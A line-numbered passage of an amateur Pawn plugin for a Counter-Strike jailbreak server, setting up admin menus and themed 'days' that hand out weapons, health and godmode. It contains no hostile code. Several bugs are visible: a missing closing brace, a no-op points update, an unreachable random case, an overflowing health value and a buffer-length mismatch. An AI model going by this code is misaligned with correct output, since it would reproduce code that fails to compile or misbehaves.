  2810. new Customized = menu_create("\r[\w BeatTheB Jail \r]\y Music Customized Menu^n\dType !music or /music to reopen The Menu", "MusicCustomized")
  2811.  
  2812. new szNum[4], players[32], pnum
  2813. for(new i = 0 ; i < sizeof SongsNameC ; i++) {
  2814. num_to_str(i, szNum , 3)
  2815. menu_additem(Customized , SongsNameC[i], szNum)
  2816. } if(id == 0) {
  2817. get_players(players, pnum)
  2818. for(new i; i<pnum; i++)
  2819. menu_display(players[i], Customized)
  2820. } else
  2821. menu_display(id, Customized)
  2822. }
  2823. public OptionMenu(id, g_OptionMenu, item)
  2824. {
  2825. if(item == MENU_EXIT)
  2826. return
  2827. new Data[7], Name[64], Access, Callback, adname[33]
  2828. get_user_name(id, adname, 31)
  2829. menu_item_getinfo(g_OptionMenu, item, Access, Data,5, Name, 63, Callback)
  2830. new Key = str_to_num(Data)
  2831.  
  2832. switch(Key)
  2833. {
  2834. case 1:
  2835. {
  2836. ColorChat(0, "^4%s Enable^4 ''^1 No Zoom^4 ''^1 !", adname)
  2837. EnableHamForward(ForwardSecAttackAwp)
  2838. EnableHamForward(ForwardSecAttackScout)
  2839. }
  2840. case 2:
  2841. {
  2842. ColorChat(0, "^4%s Disable^4 ''^1 No Zoom^4 ''^1 !", adname)
  2843. DisableHamForward(ForwardSecAttackAwp)
  2844. DisableHamForward(ForwardSecAttackScout)
  2845. }
  2846. case 3:
  2847. {
  2848. ColorChat(0, "^4%s started^4 ''^1 count down 30 sec^4 ''^1 !", adname)
  2849. timer = 30
  2850. ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
  2851. countdown()
  2852. set_task(1.0, "countdown",4444,_,_, "b")
  2853. }
  2854. case 4:
  2855. {
  2856. ColorChat(0, "^4%s started^4 ''^1 count down 60 sec^4 ''^1 !", adname)
  2857. timer = 60
  2858. ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
  2859. countdown()
  2860. set_task(1.0, "countdown",4444,_,_, "b")
  2861. }
  2862. case 5:
  2863. {
  2864. remove_task(4444)
  2865. }
  2866. case 6:
  2867. {
  2868. if(!g_iSprayMessages) {
  2869. g_iSprayMessages = true
  2870. ColorChat(0, "^4%s ^3Enable^4 spray messages for everyone to see.", adname)
  2871. } else if(g_iSprayMessages) {
  2872. g_iSprayMessages = false
  2873. ColorChat(0, "^4%s ^3Disable^4 spray messages for everyone to see.", adname)
  2874. }
  2875. }
  2876. }
  2877. menu_destroy(g_OptionMenu)
  2878. }
  2879.  
  2880. public Forward_PreThink( id )
  2881. {
  2882. if(!nightcrawler )
  2883. return FMRES_IGNORED;
  2884. else if( cs_get_user_team(id) == CS_TEAM_T)
  2885. return FMRES_IGNORED;
  2886.  
  2887. new button = fm_get_user_button( id );
  2888.  
  2889. if( button & IN_USE )
  2890. {
  2891. static Float:origin[3];
  2892. pev( id, pev_origin, origin );
  2893.  
  2894. if( get_distance_f( origin, g_fWallOrigin[id] ) > 10.0 )
  2895. return FMRES_IGNORED;
  2896.  
  2897. if( fm_get_entity_flags( id ) & FL_ONGROUND )
  2898. return FMRES_IGNORED;
  2899.  
  2900. if( button & IN_FORWARD )
  2901. {
  2902. static Float:velocity[3];
  2903. velocity_by_aim( id, 240, velocity );
  2904.  
  2905. fm_set_user_velocity( id, velocity );
  2906. }
  2907.  
  2908. else if( button & IN_BACK )
  2909. {
  2910. static Float:velocity[3];
  2911. velocity_by_aim( id, -240, velocity );
  2912.  
  2913. fm_set_user_velocity( id, velocity );
  2914. }
  2915. }
  2916.  
  2917. return FMRES_IGNORED;
  2918. }
  2919.  
  2920. public EveryBodyDeadNow()
  2921. {
  2922. for(new i = 0; i < g_max_clients; i++)
  2923.  
  2924. if(IsPlayer(i) && is_user_alive(i))
  2925. {
  2926. switch(cs_get_user_team(i))
  2927. {
  2928. case CS_TEAM_T:
  2929. {
  2930. user_kill(i)
  2931. }
  2932. case CS_TEAM_CT:
  2933. {
  2934. user_kill(i)
  2935. }
  2936. }
  2937. }
  2938. }
  2939. ActionLastTeror()
  2940. {
  2941. for(new i = 0; i < g_max_clients; i++)
  2942.  
  2943. if(IsPlayer(i) && is_user_alive(i))
  2944. {
  2945. switch(cs_get_user_team(i))
  2946. {
  2947. case CS_TEAM_T:
  2948. {
  2949. fm_strip_user_weapons(i)
  2950. fm_set_user_health(i, 100)
  2951. fm_set_user_godmode(i, 0)
  2952. fm_give_item(i, "weapon_knife")
  2953. }
  2954. case CS_TEAM_CT:
  2955. {
  2956. fm_strip_user_weapons(i)
  2957. fm_set_user_health(i, 100)
  2958. fm_set_user_godmode(i, 0)
  2959. fm_set_user_noclip(i, 0)
  2960. set_task(0.1, "WeaponMenu", i)
  2961. }
  2962. }
  2963. }
  2964. }
  2965. public ShowClassMenu(id)
  2966. {
  2967. if(IsPlayer(id) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT)
  2968. {
  2969. new ChooseClass = menu_create("\r[\w Extreme Jail \r]\y Choose Your Class", "sub_Class_Choosed")
  2970. menu_additem(ChooseClass, "Jumper Zombie [ + Jump ]", "1")
  2971. menu_additem(ChooseClass, "Faster Zombie [ + Speed ]", "2")
  2972. menu_additem(ChooseClass, "Tanker Zombie [ + HP ]", "3")
  2973.  
  2974. menu_display(id, ChooseClass)
  2975. }
  2976. return PLUGIN_HANDLED
  2977. }
  2978. public sub_Class_Choosed(id, ChooseClass, item)
  2979. {
  2980. new data[6], iName[64]
  2981. new access, callback
  2982. menu_item_getinfo(ChooseClass, item, access, data, 6, iName, 63, callback)
  2983.  
  2984. new key = str_to_num(data)
  2985. switch(key)
  2986. {
  2987. case 1:
  2988. {
  2989. fm_set_user_gravity(id, 400.0 / 800.0)
  2990. }
  2991. case 2:
  2992. {
  2993. fm_set_user_maxspeed(id, 450.0)
  2994. }
  2995. case 3:
  2996. {
  2997. fm_set_user_health(id, get_user_health(id) + 5000)
  2998. }
  2999. case 0:
  3000. {
  3001. menu_display(id, ChooseClass)
  3002. }
  3003. }
  3004. }
  3005. ActionZombie()
  3006. {
  3007. rar = 60
  3008. set_task(1.0, "ShowTimer")
  3009. set_task(0.1, "AutoOpen")
  3010.  
  3011. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3012. show_hudmessage(0, "It is Zombie Day !!^ncount down 60 seconds!")
  3013. for(new i = 0; i < g_max_clients; i++)
  3014.  
  3015. if(IsPlayer(i) && is_user_alive(i))
  3016. {
  3017. switch(cs_get_user_team(i))
  3018. {
  3019. case CS_TEAM_T:
  3020. {
  3021. fm_strip_user_weapons(i)
  3022. fm_set_user_health(i, 100)
  3023. fm_set_user_godmode(i, 1)
  3024. }
  3025. case CS_TEAM_CT:
  3026. {
  3027. ExecuteHamB( Ham_CS_RoundRespawn, i )
  3028. fm_strip_user_weapons(i)
  3029. fm_set_user_health(i, 30000000000000000)
  3030. set_task(3.0, "Zombie")
  3031. fm_set_user_godmode(i, 1)
  3032. set_task(0.5, "ShowBlind",_,_,_, "b")
  3033. set_pev(i, pev_flags, pev( i, pev_flags) | FL_FROZEN )
  3034. }
  3035. }
  3036. }
  3037. }
  3038. ActionHns()
  3039. {
  3040. rar = 60
  3041. set_task(1.0, "ShowTimer")
  3042. set_task(0.1, "AutoOpen")
  3043. for(new i = 0; i < g_max_clients; i++)
  3044.  
  3045. if(IsPlayer(i) && is_user_alive(i))
  3046. {
  3047. switch(cs_get_user_team(i))
  3048. {
  3049. case CS_TEAM_T:
  3050. {
  3051. fm_set_user_health(i, 100)
  3052. fm_strip_user_weapons(i)
  3053. fm_give_item(i,"weapon_knife")
  3054. fm_set_user_godmode(i, 1)
  3055. }
  3056. case CS_TEAM_CT:
  3057. {
  3058. ExecuteHamB( Ham_CS_RoundRespawn, i )
  3059. fm_strip_user_weapons(i)
  3060. fm_give_item(i,"weapon_knife")
  3061. set_task(3.0, "HideNsike")
  3062. fm_set_user_godmode(i, 1)
  3063. set_task(0.5, "ShowBlind",_,_,_, "b")
  3064. fm_set_user_health(i, 30000000000000000)
  3065. set_pev(i, pev_flags, pev( i, pev_flags) | FL_FROZEN )
  3066. }
  3067. }
  3068. }
  3069. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3070. show_hudmessage(0, "It is Hide'N'Seek day !!^nRules:^n CT- Seekers T- Hiders^n CT team can only STABS !^n Hiders have only 60 seconds to find a place to hide^n When the time is over the Seekers must kill the Hiders with a^n KNIFE !")
  3071. }
  3072. ActionShark()
  3073. {
  3074. set_task(0.1, "AutoOpen")
  3075. new players[ 32 ], num, ct, t;
  3076. get_players( players, num );
  3077.  
  3078. TeamCount( ct, t );
  3079.  
  3080. for(new i = 0; i < g_max_clients; i++)
  3081.  
  3082. if(IsPlayer(i) && is_user_alive(i))
  3083. {
  3084. switch(cs_get_user_team(i))
  3085. {
  3086. case CS_TEAM_T:
  3087. {
  3088. fm_strip_user_weapons(i)
  3089. fm_give_item(i,"weapon_m4a1")
  3090. fm_give_item(i,"weapon_deagle")
  3091.  
  3092. cs_set_user_bpammo(i, CSW_M4A1, 250)
  3093. cs_set_user_bpammo(i, CSW_DEAGLE, 250)
  3094. }
  3095. case CS_TEAM_CT:
  3096. {
  3097. fm_set_user_health(i, t * 100)
  3098. fm_strip_user_weapons(i)
  3099. fm_give_item(i,"weapon_knife")
  3100. fm_set_user_noclip(i, 1)
  3101. }
  3102. }
  3103. }
  3104. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3105. show_hudmessage(0, "It is Shark Day !!^nJust kill each other !")
  3106. }
  3107. ActionFree()
  3108. {
  3109. rar = 160
  3110. set_task(1.0, "ShowTimer")
  3111. set_task(0.1, "AutoOpen")
  3112. for(new i = 0; i < g_max_clients; i++)
  3113. if(IsPlayer(i) && is_user_alive(i))
  3114. {
  3115. switch(cs_get_user_team(i))
  3116. {
  3117. case CS_TEAM_T: fm_set_user_health(i, 100)
  3118. case CS_TEAM_CT:
  3119. {
  3120. fm_strip_user_weapons(i)
  3121. fm_give_item(i,"weapon_m4a1")
  3122. fm_give_item(i,"weapon_deagle")
  3123. fm_give_item(i, "weapon_smokegrenade")
  3124.  
  3125. cs_set_user_bpammo(i, CSW_SMOKEGRENADE, 4)
  3126. cs_set_user_bpammo(i, CSW_M4A1, 120)
  3127. cs_set_user_bpammo(i, CSW_DEAGLE, 70)
  3128. fm_set_user_health(i, 100)
  3129. }
  3130. }
  3131. }
  3132. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3133. show_hudmessage(0, "Its a free day !!^nRules:^n all the terrorist allow to play in the map.^n the CT is in the weapons room for the past 160 seconds^n after 160 seconds the ct allow to go out and look for the terrorist and kill them")
  3134. }
  3135. ActionNightCrawler()
  3136. {
  3137. set_task(0.1, "AutoOpen")
  3138.  
  3139. new players[ 32 ], num, ct, t;
  3140. get_players( players, num );
  3141.  
  3142. TeamCount( ct, t );
  3143.  
  3144. for(new i = 0; i < g_max_clients; i++)
  3145.  
  3146. if(IsPlayer(i) && is_user_alive(i))
  3147. {
  3148. switch(cs_get_user_team(i))
  3149. {
  3150. case CS_TEAM_T:
  3151. {
  3152. fm_strip_user_weapons(i)
  3153. fm_give_item(i, "weapon_m4a1")
  3154. fm_give_item(i, "weapon_deagle")
  3155.  
  3156. cs_set_user_bpammo(i, CSW_M4A1, 999)
  3157. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  3158. }
  3159. case CS_TEAM_CT:
  3160. {
  3161. fm_strip_user_weapons(i)
  3162. fm_give_item(i, "weapon_knife")
  3163. fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  3164. fm_set_user_health(i, t * 70)
  3165. }
  3166. }
  3167. }
  3168. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3169. show_hudmessage(0, "It is NightCrawler Day !!^nJust Kill The CT. !")
  3170. }
  3171. ActionBoxDay()
  3172. {
  3173. set_task(0.1, "AutoOpen")
  3174. for(new i = 0; i < g_max_clients; i++)
  3175. if(IsPlayer(i) && is_user_alive(i))
  3176. {
  3177. switch(cs_get_user_team(i))
  3178. {
  3179. case CS_TEAM_T:
  3180. {
  3181. fm_strip_user_weapons(i)
  3182. fm_give_item(i, "weapon_knife")
  3183. fm_set_user_health(i, 250)
  3184. }
  3185. case CS_TEAM_CT:
  3186. {
  3187. fm_strip_user_weapons(i)
  3188. fm_set_user_godmode(i, 1)
  3189. }
  3190. }
  3191. }
  3192. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3193. show_hudmessage(0, "It is Box Day !!^n T Need To Kill His Friends ^n CT With Godmode. !")
  3194. server_cmd("mp_friendlyfire 1")
  3195.  
  3196. }
  3197. ActionRunAwayDay()
  3198. {
  3199. rar = 20
  3200. set_task(1.0, "ShowTimer")
  3201. set_task(0.1, "AutoOpen")
  3202. for(new i = 0; i < g_max_clients; i++)
  3203. if(IsPlayer(i) && is_user_alive(i))
  3204. {
  3205. switch(cs_get_user_team(i))
  3206. {
  3207. case CS_TEAM_T:
  3208. {
  3209. fm_strip_user_weapons(i)
  3210. fm_set_user_godmode(i, 1)
  3211. fm_set_user_health(i, 50000000)
  3212. }
  3213. case CS_TEAM_CT:
  3214. {
  3215. fm_strip_user_weapons(i)
  3216. fm_give_item(i, "weapon_scout")
  3217. cs_set_user_bpammo(i, CSW_SCOUT, 999)
  3218. fm_set_user_godmode(i, 1)
  3219. set_task(0.5, "ShowBlind",_,_,_, "b")
  3220. set_pev(i, pev_flags, pev( i, pev_flags) | FL_FROZEN )
  3221. }
  3222. }
  3223. }
  3224. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3225. show_hudmessage(0, "It is RunAway Day !!^n T Need To Hide ^n CT Need To Kill Teror. !")
  3226. server_cmd("mp_friendlyfire 1")
  3227.  
  3228. }
  3229. Actionspartanday()
  3230. {
  3231. set_task(0.1, "AutoOpen")
  3232. new players[ 32 ], num, ct, t;
  3233. get_players( players, num );
  3234.  
  3235. TeamCount( ct, t );
  3236.  
  3237. for(new i = 0; i < g_max_clients; i++)
  3238.  
  3239. if(IsPlayer(i) && is_user_alive(i))
  3240. {
  3241. switch(cs_get_user_team(i))
  3242. {
  3243. case CS_TEAM_T:
  3244. {
  3245. fm_strip_user_weapons(i)
  3246. fm_set_user_health(i, 300)
  3247. fm_give_item(i, "weapon_shield")
  3248. fm_give_item(i, "weapon_deagle")
  3249.  
  3250. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  3251. }
  3252. case CS_TEAM_CT:
  3253. {
  3254. fm_set_user_health(i, t * 300)
  3255. fm_strip_user_weapons(i)
  3256. fm_give_item(i, "weapon_deagle")
  3257. fm_give_item(i, "weapon_m4a1")
  3258.  
  3259. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  3260. cs_set_user_bpammo(i, CSW_M4A1, 9999)
  3261. }
  3262. }
  3263. }
  3264. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3265. show_hudmessage(0, "It is Spartan Day !!^nT - With 300 HP^nJust kill The CT.!")
  3266. }
  3267.  
  3268. ActionWarday()
  3269. {
  3270. set_task(0.1, "AutoOpen")
  3271. new players[ 32 ], num, ct, t;
  3272. get_players( players, num );
  3273.  
  3274. TeamCount( ct, t );
  3275.  
  3276. for(new i = 0; i < g_max_clients; i++)
  3277. {
  3278. if(IsPlayer(i) && is_user_alive(i))
  3279. {
  3280. fm_strip_user_weapons(i)
  3281. switch(cs_get_user_team(i))
  3282. {
  3283. case CS_TEAM_CT:
  3284. {
  3285. fm_give_item(i, "weapon_m4a1")
  3286. fm_give_item(i, "weapon_hegrenade")
  3287.  
  3288. cs_set_user_bpammo(i, CSW_M4A1, 999)
  3289. cs_set_user_bpammo(i, CSW_HEGRENADE, 999)
  3290.  
  3291. fm_set_user_health(i, t * 120)
  3292. }
  3293. case CS_TEAM_T: fm_give_item(i, "weapon_ak47") && cs_set_user_bpammo(i, CSW_AK47, 999)
  3294. }
  3295. fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  3296. fm_set_user_health(i, 100)
  3297. fm_give_item(i, "weapon_knife")
  3298. }
  3299. }
  3300. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3301. show_hudmessage(0, "It is War Day !!^nEveryall - Have Guns^nJust kill The CT.!")
  3302. }
  3303.  
  3304. ActionDeathmatch()
  3305. {
  3306. set_task(0.1, "AutoOpen")
  3307. for(new i = 0; i < g_max_clients; i++)
  3308. {
  3309. if(IsPlayer(i) && is_user_alive(i))
  3310. {
  3311. fm_strip_user_weapons(i)
  3312. if(cs_get_user_team(i) == CS_TEAM_CT)
  3313. fm_set_user_godmode(i, 1)
  3314. fm_set_user_health(i, 100)
  3315. fm_give_item(i, "weapon_knife")
  3316. }
  3317. }
  3318. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3319. show_hudmessage(0, "It is Deathmatch !!^nT - Just freekill.!^nCT - no kill !")
  3320. server_cmd("mp_friendlyfire 1")
  3321. }
  3322. ActionKnifeDM()
  3323. {
  3324. set_task(0.1, "AutoOpen")
  3325. for(new i = 0; i < g_max_clients; i++)
  3326. {
  3327. if(IsPlayer(i) && is_user_alive(i))
  3328. {
  3329. fm_strip_user_weapons(i)
  3330. if(cs_get_user_team(i) == CS_TEAM_CT)
  3331. fm_set_user_godmode(i, 1)
  3332. fm_set_user_health(i, 100)
  3333. fm_give_item(i, "weapon_knife")
  3334. }
  3335. }
  3336. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3337. show_hudmessage(0, "It is KnifeDM !!^nT - Just freekill.!^nCT - no kill !^nT Cant Have Weapons!!!!")
  3338. server_cmd("mp_friendlyfire 1")
  3339. }
  3340.  
  3341. ActionBirthDay()
  3342. {
  3343. set_task(0.1, "AutoOpen")
  3344. for(new i = 0; i < g_max_clients; i++)
  3345. {
  3346. if(IsPlayer(i) && is_user_alive(i))
  3347. {
  3348. switch(cs_get_user_team(i))
  3349. {
  3350. case CS_TEAM_CT: fm_set_user_godmode(i, 1) && fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 250, kRenderNormal, 20)
  3351. case CS_TEAM_T: fm_strip_user_weapons(i) && fm_set_user_rendering(i, kRenderFxGlowShell, 250, 0, 0, kRenderNormal, 20)
  3352. }
  3353. fm_set_user_health(i, 100)
  3354. fm_give_item(i, "weapon_knife")
  3355. }
  3356. }
  3357. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3358. show_hudmessage(0, "It is Birth Day !!^nIn 5 seconds automatically chooses^nprisoner who had a birthday.!")
  3359. }
  3360.  
  3361. ActionKnifeDay()
  3362. {
  3363. set_task(0.1, "AutoOpen")
  3364. new players[ 32 ], num, ct, t;
  3365. get_players( players, num );
  3366.  
  3367. TeamCount( ct, t );
  3368.  
  3369. for(new i = 0; i < g_max_clients; i++)
  3370. {
  3371. if(IsPlayer(i) && is_user_alive(i))
  3372. {
  3373. fm_strip_user_weapons(i)
  3374. switch(cs_get_user_team(i))
  3375. {
  3376. case CS_TEAM_CT: fm_set_user_health(i, t * 200)
  3377. case CS_TEAM_T: fm_set_user_health(i, 200)
  3378. }
  3379. fm_give_item(i, "weapon_knife")
  3380. }
  3381. }
  3382. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3383. show_hudmessage(0, "It is Knife Day !!^nCT - with 2000 HP^nT - with 200 HP^nJust Knife only.!")
  3384. }
  3385.  
  3386. ActionGrenadeDay()
  3387. {
  3388. set_task(0.1, "AutoOpen")
  3389. new players[ 32 ], num, ct, t;
  3390. get_players( players, num );
  3391.  
  3392. TeamCount( ct, t );
  3393.  
  3394. for(new i = 0; i < g_max_clients; i++)
  3395. {
  3396. if(IsPlayer(i) && is_user_alive(i))
  3397. {
  3398. fm_strip_user_weapons(i)
  3399. switch(cs_get_user_team(i))
  3400. {
  3401. case CS_TEAM_CT: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, t * 250)
  3402. case CS_TEAM_T: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 250)
  3403. }
  3404.  
  3405. }
  3406. }
  3407. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3408. show_hudmessage(0, "It is Grenade Day !!^nT - with 250 HP^nCome war!!!!!!.. :D")
  3409. }
  3410.  
  3411. ActionNorDealgeDay()
  3412. {
  3413. set_task(0.1, "AutoOpen")
  3414. new players[ 32 ], num, ct, t;
  3415. get_players( players, num );
  3416.  
  3417. TeamCount( ct, t );
  3418.  
  3419. for(new i = 0; i < g_max_clients; i++)
  3420. {
  3421. if(IsPlayer(i) && is_user_alive(i))
  3422. {
  3423. fm_strip_user_weapons(i)
  3424. switch(cs_get_user_team(i))
  3425. {
  3426. case CS_TEAM_CT: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, t * 250)
  3427. case CS_TEAM_T: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 250)
  3428. }
  3429.  
  3430. }
  3431. }
  3432. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3433. show_hudmessage(0, "It is Deagle Day !!^nT - with 250 HP^nFire Now.!")
  3434. }
  3435. ActionRamboDay()
  3436. {
  3437. set_task(0.1, "AutoOpen")
  3438. new players[ 32 ], num, ct, t;
  3439. get_players( players, num );
  3440.  
  3441. TeamCount( ct, t );
  3442.  
  3443. for(new i = 0; i < g_max_clients; i++)
  3444. {
  3445. if(IsPlayer(i) && is_user_alive(i))
  3446. {
  3447. fm_strip_user_weapons(i)
  3448. switch(cs_get_user_team(i))
  3449. {
  3450. case CS_TEAM_CT: fm_give_item(i, "weapon_m249") && cs_set_user_bpammo(i, CSW_M249, 999) && fm_set_user_health(i, t * 110)
  3451. case CS_TEAM_T: fm_give_item(i, "weapon_m249") && cs_set_user_bpammo(i, CSW_M249, 999) && fm_set_user_health(i, 100)
  3452. }
  3453.  
  3454. }
  3455. }
  3456. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3457. show_hudmessage(0, "It is Rambo Day !!^nT - with 100 HP^nFire Now.!")
  3458. }
  3459. ActionFireDay()
  3460. {
  3461. server_cmd("amx_fire @ct")
  3462. set_task(0.1, "AutoOpen")
  3463. new players[ 32 ], num, ct, t;
  3464. get_players( players, num );
  3465.  
  3466. TeamCount( ct, t );
  3467.  
  3468. for(new i = 0; i < g_max_clients; i++)
  3469. {
  3470. if(IsPlayer(i) && is_user_alive(i))
  3471. {
  3472. fm_strip_user_weapons(i)
  3473. switch(cs_get_user_team(i))
  3474. {
  3475. case CS_TEAM_CT: fm_strip_user_weapons(i) && fm_set_user_health(i, t * 250)
  3476. case CS_TEAM_T: fm_strip_user_weapons(i) && fm_set_user_health(i, 100)
  3477. }
  3478.  
  3479. }
  3480. }
  3481. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3482. show_hudmessage(0, "It is Fire Day !!^nCT Touch The T^nFire Now.!")
  3483. }
  3484. ActionJumpDay()
  3485. {
  3486. set_task(0.1, "AutoOpen")
  3487. for(new i = 0; i < g_max_clients; i++)
  3488. {
  3489. if(IsPlayer(i) && is_user_alive(i))
  3490. {
  3491. switch(cs_get_user_team(i))
  3492. {
  3493. case CS_TEAM_CT: fm_set_user_godmode(i, 1)
  3494. case CS_TEAM_T: fm_set_user_health(i, 100) && fm_strip_user_weapons(i)
  3495. }
  3496.  
  3497. }
  3498. }
  3499. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  3500. show_hudmessage(0, "It is Jump Day !!^nCT - with Godmode^nT - with 100 HP^nJump Jump Jump Jump Jump !! :D")
  3501. }
  3502.  
  3503.  
  3504. public ActionRandomDay()
  3505. {
  3506. actiondays = true
  3507. switch(random_num(1,14))
  3508. {
  3509. case 1:
  3510. {
  3511. ColorChat(0, "start^4 Zombie day !^1 (By Random Day)")
  3512. ActionZombie()
  3513. zombieday = true
  3514. }
  3515. case 2:
  3516. {
  3517. ColorChat(0, "start^4 hide'n'seek !^1 (By Random Day)")
  3518. hns = true
  3519. ActionHns()
  3520. }
  3521. case 3:
  3522. {
  3523. ColorChat(0, "start^4 Shark day !^1 (By Random Day)")
  3524. ActionShark()
  3525. }
  3526. case 4:
  3527. {
  3528. ColorChat(0, "start^4 Free day !^1 (By Random Day)")
  3529. fd = true
  3530. ActionFree()
  3531. }
  3532. case 5:
  3533. {
  3534. ColorChat(0, "start^4 NightCrawler Day !^1 (By Random Day)")
  3535. ActionNightCrawler()
  3536. nightcrawler = true
  3537. }
  3538. case 6:
  3539. {
  3540. ColorChat(0, "start^4 RunAway Day !^1 (By Random Day)")
  3541. ActionRunAwayDay()
  3542. RunAwayDay = true
  3543. }
  3544. case 7:
  3545. {
  3546. ColorChat(0, "start^4 Box Day !^1 (By Random Day)")
  3547. ActionBoxDay()
  3548. BoxDay = true
  3549. }
  3550. case 8:
  3551. {
  3552. ColorChat(0, "start^4 Spartan Day !^1 (By Random Day)")
  3553. Actionspartanday()
  3554. }
  3555. case 9:
  3556. {
  3557. ColorChat(0, "start^4 War Day !^1 (By Random Day)")
  3558. ActionWarday()
  3559. }
  3560. case 10:
  3561. {
  3562. ColorChat(0, "start^4 Birth Day !^1 (By Random Day)")
  3563. ActionBirthDay()
  3564. set_task(5.0, "GetRandomPlayer")
  3565. }
  3566. case 11:
  3567. {
  3568. ColorChat(0, "start^4 Knife Day !^1 (By Random Day)")
  3569. ActionKnifeDay()
  3570. knifeday = true
  3571. }
  3572. case 12:
  3573. {
  3574. ColorChat(0, "start^4 Grenade Day !^1 (By Random Day)")
  3575. ActionGrenadeDay()
  3576. grenadeday = true
  3577. }
  3578. case 13:
  3579. {
  3580. ColorChat(0, "start^4 Deagle Day !^1 (By Random Day)")
  3581. ActionNorDealgeDay()
  3582. nordeagleday = true
  3583. }
  3584. case 14:
  3585. {
  3586. ColorChat(0, "start^4 Rambo Day !^1 (By Random Day)")
  3587. ActionRamboDay()
  3588. }
  3589. case 15:
  3590. {
  3591. ColorChat(0, "start^4 Fire Day !^1 (By Random Day)")
  3592. ActionFireDay()
  3593. fire = true
  3594. }
  3595. }
  3596. }
  3597.  
  3598. public fdexec(id)
  3599. {
  3600. if(cs_get_user_team(id) == CS_TEAM_CT || is_user_admin(id) || get_vip[id]) {
  3601. if(is_user_alive(id)) {
  3602. new rname[32]
  3603. get_user_name(id, rname, 33)
  3604. ColorChat(0, "^4%s ^1started Random Players freeday", rname)
  3605. set_task(5.0, "GetRandomPlayer")
  3606. }
  3607. }
  3608. }
  3609.  
  3610. public GetRandomPlayer()
  3611. {
  3612. new vPlayers[32], vPlayerNum, vName[32]
  3613. get_players(vPlayers, vPlayerNum, "ac")
  3614.  
  3615. if(vPlayerNum)
  3616. {
  3617. new g_iVIPid = 0
  3618. g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
  3619. get_user_name(g_iVIPid, vName, charsmax(vName))
  3620. if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT || !is_user_alive(g_iVIPid))
  3621. set_task(1.0, "GetRandomPlayer")
  3622. else {
  3623. ColorChat(0, "^4%s ^1is selected for a freeday", vName)
  3624. fm_set_user_rendering(g_iVIPid, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 255)
  3625. client_cmd(0, "spk ^"%s^"", appmusic)
  3626.  
  3627. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3628. show_hudmessage(0, "^%s ^1is selected", vName)
  3629. }
  3630. }
  3631. }
  3632.  
  3633. public RandomCT(id)
  3634. {
  3635. if(!is_user_admin(id))
  3636. return
  3637. new vPlayers[32], vPlayerNum, vName[32]
  3638. get_players(vPlayers, vPlayerNum)
  3639.  
  3640. if(vPlayerNum) {
  3641. new g_iVIPid = 0
  3642. g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
  3643. get_user_name(g_iVIPid, vName, charsmax(vName))
  3644. if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT)
  3645. set_task(1.0, "RandomCT")
  3646. else {
  3647. ColorChat(0, "^4%s ^1is selected for a Random CT", vName)
  3648. cs_set_user_team(g_iVIPid, CS_TEAM_CT)
  3649. ExecuteHamB(Ham_CS_RoundRespawn, g_iVIPid)
  3650. client_cmd(0, "spk ^"%s^"", appmusic)
  3651.  
  3652. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3653. show_hudmessage(0, "^%s is selected for a Random CT", vName)
  3654. }
  3655. }
  3656. }
  3657. public ShowCashTimer(id)
  3658. {
  3659. cashtimer[ id ]--
  3660. if(cashtimer[ id ] <= 0)
  3661. {
  3662. playerpoints[ id ] + 2500
  3663. cashtimer[ id ] = 30
  3664. set_task(60.0, "ShowCashTimer", id)
  3665. }
  3666. public ShowCashTimeLeft(id)
  3667. {
  3668. ColorChat(id, "^3 You Have More ^4%d ^3minutes To Get 2500 Cash", cashtimer[ id ])
  3669. set_task(60.0, "ShowCashTimer", id)
  3670. }
  3671. public ShowTimer(id)
  3672. {
  3673. rar--
  3674. if(rar <= 0) {
  3675. if(hns) {
